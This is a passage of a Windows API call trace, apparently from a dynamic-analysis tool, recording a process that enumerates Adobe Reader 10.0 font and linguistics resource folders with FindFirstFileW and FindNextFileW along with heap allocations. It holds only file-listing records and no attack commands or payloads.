hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Bold.otf", cAlternateFileName="COURIE~3.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x90dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-BoldOblique.otf", cAlternateFileName="COURIE~2.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9238, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Oblique.otf", cAlternateFileName="COURIE~4.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd.otf", cAlternateFileName="COURIE~1.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Bold.otf", cAlternateFileName="MINION~4.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43898, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-BoldIt.otf", cAlternateFileName="MINION~3.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x436ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-It.otf", cAlternateFileName="MINION~2.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f615220, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Regular.otf", cAlternateFileName="MINION~1.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x175c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Bold.otf", cAlternateFileName="MYRIAD~3.OTF")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1879c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-BoldIt.otf", cAlternateFileName="MYRIAD~2.OTF")) returned 1 [0235.409] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17f10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-It.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0235.409] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17098, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Regular.otf", cAlternateFileName="MYRIAD~4.OTF")) returned 1 [0235.409] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFM", cAlternateFileName="")) returned 1 [0235.409] GetProcessHeap () returned 0x550000 [0235.409] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0235.410] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0235.410] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.410] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFM", cAlternateFileName="")) returned 1 [0235.410] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="zx______.pfm", cAlternateFileName="")) returned 1 [0235.410] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="zy______.pfm", cAlternateFileName="")) returned 1 [0235.410] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="zy______.pfm", cAlternateFileName="")) returned 0 [0235.410] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0235.411] GetProcessHeap () returned 0x550000 [0235.411] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0235.411] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8791, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFB", cAlternateFileName="")) returned 1 [0235.411] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12735, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZX______.PFB", cAlternateFileName="")) returned 1 [0235.411] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 1 [0235.411] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 0 [0235.411] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0235.412] GetProcessHeap () returned 0x550000 [0235.412] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0235.415] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0235.415] GetProcessHeap () returned 0x550000 [0235.415] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0235.415] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0235.415] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.415] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageNames2", cAlternateFileName="LANGUA~1")) returned 1 [0235.415] GetProcessHeap () returned 0x550000 [0235.415] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0235.416] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0235.582] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.381] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar.txt", cAlternateFileName="DICAC9~1.TXT")) returned 1 [0236.381] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_AE.txt", cAlternateFileName="DI3495~1.TXT")) returned 1 [0236.381] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_BH.txt", cAlternateFileName="DI7F79~1.TXT")) returned 1 [0236.381] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_DZ.txt", cAlternateFileName="DIF61A~1.TXT")) returned 1 [0236.381] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_EG.txt", cAlternateFileName="DIC7FA~1.TXT")) returned 1 [0236.381] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_IN.txt", cAlternateFileName="DI4FA4~1.TXT")) returned 1 [0236.381] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_IQ.txt", cAlternateFileName="DI3F41~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_JO.txt", cAlternateFileName="DI0622~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_KW.txt", cAlternateFileName="DIF6C4~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_LB.txt", cAlternateFileName="DI621E~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_LY.txt", cAlternateFileName="DID7B2~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3d9d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_MA.txt", cAlternateFileName="DIEC69~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_OM.txt", cAlternateFileName="DIC553~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_QA.txt", cAlternateFileName="DI2F38~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_SA.txt", cAlternateFileName="DI48AF~1.TXT")) 